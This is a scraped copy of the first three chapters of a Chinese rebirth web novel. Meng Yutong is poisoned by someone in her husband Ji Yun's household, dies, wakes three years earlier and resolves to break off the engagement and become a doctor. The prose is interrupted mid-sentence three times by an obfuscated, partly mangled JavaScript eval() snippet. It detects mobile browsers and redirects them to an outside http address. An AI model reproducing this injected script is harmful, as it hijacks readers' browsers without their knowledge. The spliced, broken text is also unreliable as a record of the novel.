《重生后前夫全家也重生了》 1. 第 1 章 纪家梧桐院落了一日的雨,傍晚还未停歇。 孟玉桐倚在矮榻边望出去,墙角那丛纪昀最是珍视的湘妃竹,被风雨摧折了几支,萎落于地。 “少夫人,该用药了。”丫鬟白芷将药碗递至她手边。 孟玉桐伸手接过,浓黑的药汁散发着比往日更重的苦酸气,隐隐透着股奇怪的腥甜。 她微微蹙眉,难不成是风寒伤了脾胃么,连气味都辨不清了么? 未及深想,她如往常一般屏息仰头灌下。 药汁刚滚过喉咙,一股灼热猛地窜上来,混着那丝诡异的甜腥直冲鼻腔。 “咳咳……咳……”剧烈的呛咳撕扯肺腑,她慌忙用手帕捂嘴,手心丝绢瞬间被温热的液体浸湿。 “少夫人!”白芷被这变故惊住,失声惊呼,扑跪榻前抢过帕子,手心刺目的腥红让她脸色一白,“血!怎么咳血了?!不行,奴婢这就让青书去宫里请公子回来!” “别……”孟玉桐下意识想拦,喉咙却被一团腥甜堵住,只能眼睁睁看着白芷转头冲入雨中。 夫君最喜欢她懂事大方,贤淑温婉,他今日在宫中替公主看诊,她不该去打扰他的。 她该再忍忍的,多年忍耐,她以为她早已习惯。 可五脏六腑骤然传来翻绞剧痛,连吸口气都如万针攒刺。 她终是压抑不住,痛哼出声。 直觉告诉她,这可不像是风寒…… 医者的本能压过剧痛,她颤抖着手指搭上腕脉。 指尖下,脉息虚浮迟涩,重按如冰棱凝滞,看似是外感风寒的表症,细辨却有一缕滑象隐于沉处——分明是毒入脏腑之兆。 毒! 惊骇如冰水浇顶,她脑中霎时空白。 今日她胃口不佳,就只喝了青书送来的药。 青书是纪昀的贴身侍从。这半月来,是纪昀吩咐青书照看梧桐院,今日碗中之毒……他是否知情? 纷乱思绪如重锤砸落,头痛欲裂。她浑身脱力,双手撑住案几,视线落在那药碗中,看向那点还剩小半的墨色药汁。 颤抖的手指沾上一点药渍,凑到鼻尖。 那股若有若无、被苦味掩盖的奇异甜腥,再次钻入鼻腔。 窗外轰然一声惊雷炸响,震得她心魂几散。 雷声分明那样大,她竟一瞬觉得四周空寂一片,她张了张嘴,发不出半点声息。 两年前宫宴,景福公主意外中毒,七窍流血、容颜枯败的骇人景象随着滚滚惊雷乍然浮于眼前。 她记得这味道,与景福公主当时身上的气味一般无二。 是秋海棠之毒。 这毒名虽清雅,其性却凶戾无匹。入腹如利刃翻绞五脏,五脏摧折,继而七窍流血,一炷香内便芳华尽枯,恰如秋日海棠瞬息凋零,故而得名秋海棠。 更要命的是,此毒无解。 纪家……有人要她死。 寒意从脚底直冲而上,腹中刀绞加剧,冷汗如浆滚滚而下。 胸中恐惧与剧痛交织,雨声、雷声、风声,声声催逼,不留间隙,几乎令她窒息。 此时,屋外急乱的脚步声由远及近。 孟玉桐用尽全身力气压下喉头的腥甜,抹去额角的冷汗,强撑着坐直身体。 下一瞬,白芷带着青书闯了进来。 两人入屋后,青书的目光扫过矮榻小几上的药碗,眉头微蹙,立刻唤来婢女收走。 “少夫人,”青书垂首,神色疏淡,“公主心疾犯了,公子一时抽不开身。” 又是公主! 宫中并非无人,偏生次次都盯着公子 白芷气得浑身发抖,髻簪乱颤如一只炸翎雀:“公主心疾?!少夫人都咳血了!你没告诉公子吗?!” 青书眼皮都没抬:“公主金枝玉叶,贵体不容有误。公子让少夫人……暂且忍耐。” “忍忍?!”白芷的眼泪夺眶而出,积压了三年的委屈与愤怒轰然爆发,“姑娘自嫁入纪家,侍奉老爷夫人,照顾小公子,事事周全。夫人病时衣不解带,老爷烦忧时百般开解。疫病时更是亲自为公子上山寻药险些没了命。她一颗心都剜给了纪家。宫里那位三天两头‘犯病’,次次都要抢人。在公子心里,他到底是谁的夫君?!三年了,石头也该捂热了!” “公主珍贵,那我们姑娘呢?!” 她声声泣血,竟连这嘈杂哗然的雨声没能盖住分毫声音。 “白芷!”孟玉桐的声音不高,却带着冷意,瞬间压住了白芷的哭喊,“出去,我有话问青书。” 白芷愤恨地剜了青书一眼,哭着退了出去。 白芷走后,孟玉桐静静望着青书——这个纪昀最信任的心腹。 她一字一顿,声音因剧痛微颤:“青书,毒是谁让你下的?” 青书身体显然一僵,随即沉默垂首。 他不答话,过了几息,孟玉桐似是提起了一口气,才又问:“与他有关吗?” 她的声音很轻,险些没入雨声之中。 外头风急雨骤,青书抬眼望了望窗外的湘妃竹,默然片刻方道:“今日雨大,瑾安公主亲手栽下的湘妃竹都被打坏了,公子见了,怕是要心疼的。” 支摘窗的撑木被狂风卷开,窗扇“哐当”一声砸落下来,屋内霎时昏暗许多。 孟玉桐眼中最后一丝光亮,仿佛也随那窗扇坠落,彻底灭了。 这竹子……原是瑾安所栽? 心头似乎有些模糊的线头渐渐显露出来。 她想起纪昀对公主每月一次雷打不动的问诊,想起成婚三年,他待自己的冷淡疏离,想起他对这一丛小小绿竹的珍重爱视…… 心口像是被那话狠狠贯穿,耳中嗡鸣盖过了雨声。 孟玉桐闭上眼,巨大的疲惫和彻骨的冰冷席卷而来,反而压下了几分腹中的翻绞。只是四肢力感渐渐消逝,麻木之感自指尖悄然蔓延…… 她哑声问:“是什么毒?” 青书回:“是秋海棠。” 果然。 “白芷。”她的声音已透着虚浮。 白芷冲进来,红着眼推开青书:“你出去,别在这儿碍眼!” 她扑到榻边,紧紧握住孟玉桐冰凉的手:“姑娘,奴婢去找别的大夫!一定有办法!” 孟玉桐收回手,艰难地摇摇头,她的进气已经渐渐弱了,她能感受到体内生气在一点点被抽离。 她费力俯身,从矮榻边的小柜抽屉中拿出一封信,递给白芷,开口嘱咐道:“这纸上有几样珍贵的药脉分布,有我结识的一些官家夫人,还有一位关系不错的药商。你将这个给祖母,日后我即便不在纪家,靠着这些,祖母能少去许多忧虑。” “姑娘!”白芷泣不成声,“您还想着孟家,您从不为自己考虑!前日我回府,亲耳听见秦姨娘劝老夫人,您若有不测,就让二小姐续弦。老夫人……老夫人她并未驳斥啊!” 孟玉桐指尖猛地一颤,信纸几乎脱手。 喉中那股腥甜再次涌上,她咬着唇死死咽下。 原来如此,祖母的偏疼,也不过是待价而沽。她也好,孟玉柔也罢,都只是维系孟家利益的棋子罢了。 白芷说得不错,她好像从未替自己考虑过。 她想起她嫁入纪家的始末。 纪家乃杏林清贵,纪昀其人,松风水月,医道卓绝。 而她出身商贾,唯“娴静温婉”之名堪堪入耳。这般姻缘,本非她可攀附。 只因孟家曾于纪家有旧恩,祖母借此促成了这桩婚事。纪家重诺,她便因此机缘,成了他的妻。 能嫁纪昀,孟玉桐自是心慕。纵知他性冷似玉,唯痴医道,亦甘之如饴。 更因他曾一句“端庄贤淑,温婉大方”,自踏入纪府那日起,她便把这八个字刻进骨子里。 事事周全,处处谨慎,从不敢给他添半分烦扰。 他既心仪这样的夫人,她便做这样的夫人——一如当年在孟家,为博祖母欢心那般。 不过是事事要周全,处处要谨慎,活得累一些而已,只要能得夫君长辈的喜爱,便也值得。 她一直是如此。 “呵,”她扯出一个极淡的笑,将信用力按进白芷掌心,“无妨,就当报答祖母养育之恩了,扶我去书房。” 有一件事,她死也要弄个明白。 她身子沉重,每走一步都像踩在刀尖上,便由白芷搀扶着往前走。 穿过浸满风雨的游廊,两人来到纪昀的书房。 推开门步入房中,孟玉桐的目光落在书架最高处的檀木箱上。 纪昀从不许人碰那个箱子。 “白芷,砸开它。” 白芷抹了抹脸,手上不知是雨水还是泪水,湿作一团。 她上前取下箱子,举起桌上镇纸砸向铜锁。 “哐当!”箱盖弹开倒地的刹那,屋外忽然涌起一阵冷风,漫天纸片如雪片纷飞。 孟玉桐接住几张飘落在她眼前的宣纸,只见上面密密麻麻记着治疗心疾的方子,墨迹新旧交错,最早的可追溯到三年前…… 原来他夜夜伏案,都是为瑾安的病。 整个屋子浸着松烟墨与陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127360|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸的气息,还有冷雨水汽,混在一起冷而清寂,如他眉眼间永远凝着的那层霜。 “哈哈……哈哈哈……”孟玉桐忽然笑了起来,笑声空洞而悲凉,牵动着脏腑,痛得她蜷缩起来,泪水却不受控制地涌出。 原来他的心并非捂不热,只是她从未真正走进去过。 她这三年谨小慎微、剜心掏肺的“贤淑”,在他眼中,恐怕只是个碍眼的笑话。 雨水自门廊倾泻而下,眼前视线渐渐模糊,她仿佛瞧见三年前的那场春雨。 景和三十五年,暮春,春雨如注,她同白芷在茶馆檐下躲雨,听见雅间有文人品茗赏雨。 其中有道声音嘹亮轻佻,“我说淮之表兄啊,临安城那么多高门贵女你家不挑,就因为什么劳什子恩情要同那商户女结亲,委实是亏大发了。要我说,你不如给些银钱打发打发得了,何必搭上半辈子?” “明远慎言,孟小姐端庄贤淑,温婉大方,是我高攀。” 春雨淅沥,人声嘈杂,唯有那道清朗如玉的声音破开重重昏暗水气,落在她耳边。 她恍惚看见望仙桥边桃花拂落,洒落在河心,泛起连绵不绝的涟漪。 暮春时一场寻常的春雨,却打湿了她短暂的一生。 雨还在下,冷冷戚戚。 书房外的冷风吹得孟玉桐宽大的袖袍猎猎作响,鸦青发丝凌乱飞舞。 白芷看着自家姑娘惨白如瓷的脸、摇摇欲坠的身影,心胆俱裂:“姑娘……” 那身影却猛地挺直了脊背,抓起一张药方,翻过空白背面,重重按在乌木桌案上。 她抓起笔,墨汁淋漓,笔锋带着一种近乎决绝的力度,在纸上划下三个字:和离书。 “白芷,”她的声音低哑破碎,血不断从嘴角渗出,手背皮肤以肉眼可见的速度失去光泽,显出枯败的灰白。 手上没有力气,也控制不住地抖动起来,“我……撑不到他回来了,你把这个……给他,告诉他……当初祖母胁恩,迫他娶我,是孟家之过,” 她抓紧手中的笔,写一个字,便要停下喘口气,“今日……我把正妻之位让出来……死后,他也不必为我守节……” “姑娘!您别说了!”白芷用袖子拼命擦着她脸上的血,却越擦越多。 孟玉桐轻轻推开她颤抖的手,眼神已有些涣散,却仍坚持嘱咐:“我屋里的首饰金银……你拿着出府去……嫁人也好……开铺子也好……好好活着……” “我不走!我的命是姑娘救的,我死也不走!”白芷跪倒在地,抱住她的腿。 孟玉桐想摸摸她的头,却连抬手的力气也没了,“听话,新主进门……只怕容不下你,我死后,将我一把火烧了……” 她声音轻得像叹息:“骨灰不要留在纪家,也不必回孟家,就埋在望仙桥边……那棵桃花树下……” 她努力弯起唇角,眼中泛起微弱的虚幻的光,气若游丝:“我……喜欢有花有水的地方…” 意识渐渐模糊,剧烈的痛楚奇异地开始消退,身体变得很轻。眼前仿佛真的出现了那棵桃花树。 八岁那年,望仙桥下春水碧绿,满树粉霞灼灼。 母亲牵着她从桥边走过,她摔了一跤,疼得哇哇直哭。 树下的算命先生叫住她们,“小姑娘模样周正,天庭饱满,嗓音嘹亮,未来不可估量!” 母亲掩唇笑笑,“那先生说说,我们阿萤长大了会做什么呢?” “小姑娘是心肠良善的有福之人,未来或许做个女大夫,行医问药,治病救人,功德无量。” 她终于停下哭声,一瞬又笑起来:“娘,我瞧御街的大夫都有一间大大的医馆,里头还有三两个伙计使唤,可神气哩,我以后也要当大夫!” “好,娘给你攒钱开医馆,以后阿萤做女大夫,我便做女大夫的娘。不过以后要做大夫的人,可不要一点疼就哭鼻子哦。” “娘不要小瞧我,阿萤才不会轻易哭呢。” 粉色落花随风而下,飘向桥下流水,逐波远去…… 孟玉桐静静靠在桌案上,周身痛楚如潮水退去,竟觉出几分飘然。 恍惚间似见自己这一世,总如那望仙桥下的落花,随波逐流——为博祖母欢心敛尽天真,为得夫君青眼强作贤淑。 是她从未爱过自己。 眼前被温热的水汽模糊,她喃喃开口:“娘,阿萤就再哭这一次……” 声音渐渐消隐于穿堂风声之中。 “姑娘——!!!”白芷的哭喊声撕心裂肺。 疾风骤雨中,屋外有脚步骤停。 2. 第 2 章 暮春三月,春雨如注,自歇山顶檐角倾泻而下,将杏桃院中的草木都浇得抬不起头。 水汽氤氲,浸透了杏桃院,连带着室内也弥漫着一股潮湿的土腥气。 孟玉桐是在一阵剜心刺骨的剧痛中惊醒的。 仿佛有无数把冰冷的利刃在她腹中翻绞,搅动着五脏六腑。喉咙腥甜翻涌,窒息感如影随形。 她猛地睁开眼,大口喘息,冷汗瞬间浸透了单薄的寝衣,黏腻地贴在冰冷的皮肤上。 眼前是熟悉又陌生的景象——水青幔帐上,桃花映春图因她惊醒动作而晃动摇曳。 她忽而蹙眉警醒,这幔帐上的桃花是她幼时母亲亲手所绣,装点在孟家杏桃院里的梨花木雕刻牡丹的架子床上。 这顶幔帐分明在她出嫁时便收进了箱笼,怎会…… “呃……”又是一阵剧烈的幻痛袭来,她蜷缩起身子,死死捂着腹部,仿佛这样就能抵御那深入骨髓的、来自秋海棠的绞痛。 墙角的湘妃竹,青书冷漠的脸、堆积如山的心疾药方、白帕上刺目的腥红、皮肤寸寸枯败的绝望……无数画面碎片般在她混乱的脑海中闪过。 “小姐?可是魇着了?”外间传来一道略沧桑的关切声音,伴随着轻微的脚步声靠近。 门“吱呀”一声被推开,冷风裹挟着更浓重的水汽涌入。 直到看清走到床边的人,孟玉桐瞳孔骤缩,如同见鬼一般,身体猛地向后退,撞在冰冷的床柱上,发出“咚”的一声闷响。 她喉咙发紧,声音听上去有些尖利短促:“桂嬷嬷?!你…你不是……” 死了吗?最后三个字卡在喉咙里,带着难以置信的颤抖。 桂嬷嬷被她激烈的反应吓了一跳,慌忙上前:“小姐!是老奴啊!您这是怎么了?莫不是被梦魇住了?” 她冰凉的带着些老茧的手掌急切地探向孟玉桐的额头。 桂嬷嬷那真实的、带着体温的触感,印在额心,让她陡然冷静下来。 不是梦!不是幻觉! 孟玉桐停下动作,抬眼仔细去看。只见眼前人五十多岁的年纪,身形瘦弱,脊背有些佝偻,鬓角的白发用一支雕桂花的乌木簪仔细绾着,面上神色关切非常。 那支乌木簪是她亲手给嬷嬷刻的。 “桂嬷嬷,真的是你?” 桂嬷嬷是母亲身边贴身服侍的,她八岁那年,母亲病死后桂嬷嬷就留下照顾她了。 一直到景和三十五年她嫁入纪家后,桂嬷嬷才放心回了乡。 后来她遣白芷去乡下送年礼时,才知道桂嬷嬷雨天下地去看庄稼,不甚摔了一跤去世了。 如今再看见那张熟悉的脸,孟玉桐心中忽然翻涌出千万种的委屈。 鼻尖萦绕着桂嬷嬷身上熟悉的、淡淡的皂角香气,真切得让她心头发酸。 巨大的荒谬感和劫后余生的狂喜潮水般席卷而来,瞬间冲垮了她强撑的堤防。 她再也忍不住,猛地扑进桂嬷嬷温暖的怀里,嚎啕大哭起来。 那哭声撕心裂肺,混杂着前世积压的所有委屈、恐惧、和不甘。 “死了……嬷嬷,我死了啊!”她语无伦次,泪水汹涌,瞬间浸湿了桂嬷嬷的衣襟,“好疼……我好疼!”她紧紧抓着桂嬷嬷的衣襟,哭得凄惨极了。 白芷闻声冲进来,被眼前的景象惊得手足无措。 桂嬷嬷一边轻拍着怀中哭得几乎背过气去的人儿,一边用眼神安抚白芷,示意她去倒水。 “小姐,小姐不怕,老奴在呢!都是梦,是假的!您看看,您好好的,老奴和白芷都在呢!”桂嬷嬷的声音渐渐将她安抚下来。 孟玉桐将脸深深埋进熟悉的怀抱,呜咽含糊的声音传出来,“嬷嬷,不是噩梦。” “小姐喝口水罢,管它梦里有什么呢,现在都没了。”白芷捧着一杯温热的清水,送到孟玉桐手边。 孟玉桐终于止了哭声,她缓缓坐直身子,看着白芷稚嫩的脸,感受到自己蓬勃有力的心跳,记忆中那股麻木死顿终于渐渐从身体里抽离。 她端过水,一饮而尽,由白芷搀着下榻净面。待坐在妆台前时,神思才渐渐清明。 铜镜中,少女长发乌黑,如瀑般散落在肩头,衬得肌肤莹白似雪。一双眼睛大而圆,此刻泪痕虽干,眼尾仍带着薄红,反添几分楚楚风致。抿唇时脸畔漾起一对酒涡,脂粉未施,自有一段天然明艳。 她尚未嫁与纪昀,那三年为人妇的光阴恍如昨夜一梦。 可若是梦,未免也太真切了些。秋海棠蚀骨穿肠的滋味依旧清晰,如今回想依旧令人心惊。 不……那一切,一点也不像是梦。 倒像是……她又重新活了一回。 这念头乍现时,她自己都觉荒唐。可眼前种种又真切得不容置疑,由不得她不信。 “白芷,桂嬷嬷,你们说人死之后会去向哪里?” 这世上难不成真有转世重生一说? 白芷替她梳着头,想也没想回道:“若是善人,死后自当羽化登仙;若是恶人,自然要堕入阿鼻地狱。小姐怎的突然问这个?可是方才的梦里……” “缘起缘灭,生死富贵,自有定数。”桂嬷嬷一张脸严整,讲得颇正经,“况且世事易变,不如顾好眼下,顺其自然。” 她暗忖小姐大约是思念夫人了,方才一定是梦到了很难过的事情,才会让平日里端庄娴静的她哭成那般可怜模样。 不过小姐思念夫人也是正常的,毕竟当年夫人病去时她才八岁,正是黏人的年纪。她那时候性子也活泼,爱笑爱闹,天真烂漫。 只是后来养在老夫人膝下时,总被教导着沉稳端庄,她又不想要老夫人失望,便渐渐收起了自己的天性,成了个不会哭不会笑的木头美人儿,懂事早慧得令人心疼。 桂嬷嬷忽而又有些感慨,小姐像方才那样不管不顾地扑在她怀里哭的模样,好像已经许久都未曾有过了。 孟玉桐反复咀嚼着“顺其自然”四字,忽觉豁然开朗。 她释然一笑:“桂嬷嬷说得不错,已往不谏,来者可追,既然天意如此,顺应便是。” 既然如此,便当自己是重新活了一回。那‘端庄贤淑’的壳子,套了一世,误了一生。 这一回,她不会为了不相干的人费心费力,不能再重蹈覆辙。 先退掉与纪家的婚事,再按幼时与母亲说定的心愿,开一间小小的医馆。 想起母亲,她鼻尖微酸,因那算命先生一言,她与母亲说定这个心愿。 在母亲病榻前时她便想,若是自己是个厉害的大夫,或许母亲也就不会死了。 母亲后来因病离世,她也所嫁非人,如今再提起,只觉得物是人非了。 但也无妨,如今……也不算太晚。 另外,等时机成熟后,她再从孟家分出去,往后只为自己而活。 至于下毒之人……秋海棠的痛楚仍旧刻骨铭心,可那毒甚至涉及景福公主的死,凭她一人之力,只怕难窥全貌,更遑论抗衡。 与其纠缠旧恨,不如惜取新生,护住眼前人,走好自己的路。 这般想着,她平缓的心跳好似又渐渐快了起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127361|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,她看向铜镜中的自己,镜中人那一双沉静的眸子里好似有了隐隐流动的光彩。 “白芷,待雨歇了,陪我去一趟望仙桥。” 那里是“阿萤”最后存在的地方。这一世的新生,就从那里开始。从找回那个敢哭敢笑、梦想成为女大夫的自己开始。 她要去桃花树下告诉母亲,告诉那个算命先生,她这次,定要走那条路。 “是,小姐。”白芷应着,手中动作不停,仍细细打理着如云青丝。 她性子大大咧咧,却有一双巧手,最善绣花剪裁,孟玉桐的发髻衣服饰皆由她打理。她觉着姑娘今日似乎不大高兴,便将两股乌瀑交缠,巧挽青丝成个同心鬟。 又依孟玉桐所言弄些简单的装饰,在上头插上一支攒桃花银簪,小小的银色花朵聚在发髻间,珊珊可爱,霎时将那恹恹病气都抖散了。 妆台后边的直棂窗紧紧关着,隐约能看见外头泼天的雨色。 孟玉桐的视线越过眼前的铜镜,落在窗角下的一把素色油纸伞上。 桐油伞柄上,刻了一个“纪”字。 记忆飘回与纪昀初见的那日。 那时纪昀替她说话,她心中雀跃紧张,一边忍不住因纪昀的夸赞而心动,一边又因这夸赞而心虚。 只因她深知自己并非他口中所谓“端庄贤淑,温婉大方”的女子,只怕日后原形毕露,反惹他厌弃。 正自惴惴时,纪昀自茶肆缓步而出。 男子眉目如山水墨画,清远雅致,一袭玉色广袍长衫随步而动,袖口银线绣制的竹叶纹在风中翻飞,更显他气质出尘,似风前玉树,卓然不群。 侍从奉上一把素色油纸伞,伞面绘有片片青竹,伞柄上刻一个“纪”字。 纪昀接过伞,似是注意到一边审视的目光,缓缓偏过头,瞧见檐下躲雨的姑娘。 那人瞧见他望过来,便飞快移开视线,瞧着有几分心虚的模样。 纪昀微微颔首,淡声道:“孟姑娘。” 孟玉桐心头一跳,“纪公子认得我?” 纪昀未答,视线从她腰间碧玉色双鱼佩上掠过,又往两人身侧逡巡片刻,便将伞递给一旁的白芷,“雨大风急,姑娘打我的伞回去吧。” 话毕,侍从打了另一把伞过来,不待她推辞,他便转身进了侍从的伞下,两人提步离开了茶肆…… 如今重回到初见的第二日,再想起记忆中那道熟悉的身影,当初接伞时的悸动早已荡然无存,心中只剩一片沉寂。 那曾让她心跳加速的周全,如今想来,不过是他教养使然,与情意无关,更与真心无关。 她此刻只是庆幸,幸好她尚未嫁给纪昀。 那段压抑本心,委屈求全的三年光景,那碗不知是谁谋划的毒药,那个一心等着别人回头,在伪装中丢失一切的自己——一切都还未发生。 “姑娘,那把伞是不是得找个机会还给纪公子?咱们需不需要备点谢礼一并送去?” 白芷如往常一样,从锦盒中取出一块双鱼玉佩正要挂上她腰间。 孟玉桐思绪回笼,伸手推了推,并不想戴。 记得上一世,她待这伞很是珍重,遣人送回纪府时还亲手做了糕点一并送去。 这事被孟玉柔知晓,便在祖母跟前夸大说辞,暗指她私下同纪昀往来,折损孟家名声。 祖母因此罚自己抄了半月的女诫。 孟玉桐的目光在伞柄的“纪”字上停留一瞬,手指无意识在腹部幻痛处按压,“嗯,是该还给他。” 要还回去的,不止是这把伞。 3. 第 3 章 望仙桥往东是一条热闹的街巷,沿街设有客栈、茶肆、面馆、彩帛店等,因桥边长有一棵百年桃树,故而得名桃花街。 此刻的桃花街上雨歇云散,行人渐稠。沿街商铺此时正往外摆放桌椅。 “油焖笋出锅喽——”桥头庆来饭馆的孙大娘掀开杉木蒸笼,白雾裹着笋香气漫到街上。 她瞥见桃树下闭目养神的吴林,揶揄道:“吴半仙,坐了一日也没开张,腰疼不疼?” 桃花树下坐着个六旬老者,须发皆白,头上戴一顶毡帽,面前支一张小摊。 青布幌子在雨后斜阳里晃出虚影,上头“铁口直断”四个金字被雨水洇得发暗。 吴林见雨止了,便收起伞,正襟坐好,捻须一笑:“急什么,机缘一事急不得。” 孙大娘撇下嘴,“神神叨叨,也不知一日能哄得几个冤大头。” 吴林悠悠然道:“孙桂芳,你有空盯着老夫,不如改进改进你家饭馆的口味,好多招揽几个客人。” 恰在此时,从桥上走下来两个女子,一个身姿窈窕,云鬟风颤,穿一身浅碧色罗衫配藕荷色百迭裙,外头披一件月白缂丝薄氅,莲步姗姗而来,见之只觉如沐春风。 另一个丫环打扮,眼脸圆圆,手中抱着一把素色油纸伞跟在一旁。 两人下了桥,竟直直往桃花树下走去。 孙桂芳被他堵了一句,只得阴阳怪气嘀咕:“今日还真有冤大头。” 吴林见有人来,不紧不慢从桌摊下抽出两只马扎子摆好,请两人坐下。 “姑娘眼若明珠,印堂生辉,想必近日有柳暗花明之喜!不知姑娘想算些什么?” 白芷打量着简陋摊子,满眼怀疑。 她悄悄扯了扯孟玉桐,孟玉桐却十分熟稔地让她拿出两贯钱,搭在货架上,“先生帮我算算前程吧。” 吴林捏起铜钱掷于木盘,口中念念,“坤下巽上,渐卦□□。鸿渐于木,或得其桷。 姑娘,”他声音平和,“心有所向,便只顾行去。天机藏于时运,莫问前程几许,云开雾散自有晴空。” 孟玉桐微怔,抬头望向天际。她今日醒来时,外头还下着大雨,天上阴云密布。 而不过半日的功夫,天空便澄净如,没有一丝流云,仿佛豁然开朗。 是啊,她既已决心挣脱枷锁,又何必执着于一时得失? 只管先专注脚下,至于纪家的婚事还有医馆的事,总有法子徐徐图之。她释然一笑:“多谢先生点化。” 吴林从货架下抽出一只竹筐,掀开上头的粗布往里掏了掏,拿出一只粉色素面香囊往前递了递,“机缘已至,物归原主。” 孟玉桐接过香囊,这是一只十分寻常的的香囊,里头似乎塞了花瓣,捏着轻飘飘的,凑近时能闻见一股桃花香。 指尖触及那素面布料,孟玉桐心头猛地一颤。 这是她八岁那年亲手缝制的。 那时母亲面色不好,她便自己照着医书摸索着配了一些香料药材,本打算配给母亲安眠的。 恰巧那日同母亲经过此处,这位先生替她算命,说她今后会成个女大夫。 她很高兴,要自己出这算命的钱,可身上却未带分文。于是先生便要了她腰间的香囊做报酬。 前世的蹉跎与遗憾涌上心头。她紧紧攥住香囊,仿佛回到母亲还在的时候。 她声音微哑:“没想到先生还记得我。” 吴林往背后树上一靠,“小大夫的哭声实在洪亮,老夫想忘记都难呐!” 孟玉桐不禁莞尔:“这香囊多谢先生保管多年。” “是我要多谢你,今日帮我开张。”吴林摆摆手一笑。 两人道别后,白芷抱着伞拉起孟玉桐往前走,“几句话赚两贯钱,忒不靠谱。” 孟玉桐将香囊塞捏在手里,“我们先去把伞还了。” 陡然重生回三年前,总觉着还有些不太真切,如今到这熟悉的桃花街走一走,她心中莫名安定不少。 吴老头的算命摊子往前便是一间客栈,客栈门口冷清无人,店小二正拿着布巾擦着檐下廊柱上的水珠。 见两人路过,小二便将布巾往肩上一搭,笑呵呵迎上来问:“两位客官住店吗?” 白芷摇摇头道:“我们去前头清风茶肆。” 那小二闻言一脸失望,又扯下布巾回头继续干活。 “这里原来生意不错,听说东家换了人,放任不管才败落至此。”白芷低声道。 孟玉桐心中有开医馆的打算,便对这街边铺面上了些心。 她驻足细看:只见客栈分上下两层,门面不算阔气,却收拾得齐整。对门处是敞亮的大堂。 往后是一处四方小院,青砖铺地,角落里种着一棵老柿子树,枝干虬曲,叶子刚抽新绿,底下零星落着几朵嫩黄的花。 小院倒是适合晾晒药材。 她抬头,二楼围廊半敞,通风甚好,若隔成静室,倒宜病患休养。 地段尚可,但比之御街铺子,人流终逊,房屋老旧修缮也费功夫。 她收回视线,继续往前走,行至清风茶肆门前,忽听得里头有人争执。 两人齐齐望去,只见一个总角小儿正拽着伙计衣袖。 伙计年纪也不大,十六七的模样,是这茶肆店主的儿子。 “哥哥,他昨日在此处吃茶,不小心将香囊掉在了房间里,这才让我来的,你就给我吧。” 伙计望了望手中香囊,又看了看缠着他的男童,十分无奈,“还是叫那位公子自己来取吧,我将香囊给了你,回头他又寻上门来讨要,我如何说得清楚。” 男童不依不饶:“那个香囊真的是我兄长让我来取的。不然你仔细瞧瞧,我同我兄长长得难道不像吗?” 伙计十分决然地摇摇头:“哎呦小祖宗,那位公子生得仙鹤一般,您与那位哪有半分相似?” 那伙计余光瞧见门外的孟玉桐,眼睛倏地亮了,三步并作两步上前将香囊塞进她手中,“这位姑娘,我昨日见过您,那位失主公子还给您送了伞,你们交情应该不浅。我看我还是将香囊交给您,回头您再帮忙转交吧!” 说罢竟一溜烟跑了。 孟玉桐望着手中多出来的一只蓝色香囊,凝眸瞧了瞧,看见上头银线绣成的竹叶纹有些熟悉,这才反应过来,这是纪昀的香囊。 想来是纪昀将香囊落在茶肆了,那小二见她昨日与纪昀交谈,误以为他们相熟,便将香囊给了她。 她今日来茶肆,本就是想将伞存放在此处,等纪昀下回来时带走,这样便省得她还要遣人送上一趟。没成想伞没给出去,反倒多收了个烫手山芋。 她一时间有些哭笑不得。 “姐姐,这还真的是我兄长的伞啊,你认识我兄长吗?” 一道稚嫩声音自下方传来。孟玉桐低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127362|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,瞧见方才那男童立于身侧,身量尚不及她腰间。 那孩子生得比寻常孩童单薄,偏生一双眼睛格外灵动,此刻正滴溜溜地转着打量她。 这是纪昀的幼弟,纪明。 纪明从小脾弱体虚,却又十分馋嘴,因爱屋及乌,她钻研过许多温补又兼具风味的点心,故而前世在纪府时,纪明很黏她。 思及此,孟玉桐心头微涩。今生既决意与纪家撇清干系,便不该再有牵扯。 她将伞与怀中香囊一并递与纪明:“我与你兄长不过萍水相逢,这些物件还是由你带回去更为妥当。” “姐姐,你叫什么名字?”纪明接过伞抱在胸前,香囊随手塞入袖中,追着孟玉桐道:“我兄长的朋友我都见过,怎么从未见过姐姐呢。” “我与你兄长昨日也是初见,算不上朋友。”孟玉桐已将东西都交了出去,不欲多言,转身准备离开。 纪明很快跟上来,仰着脸打量她片刻,自己一张脸涨红了几分。 兄长也真是的,怎么能给个不认识的女子送伞呢,人家还长得这么好看,这要是被未来嫂嫂知道了,岂不是要生出误会。 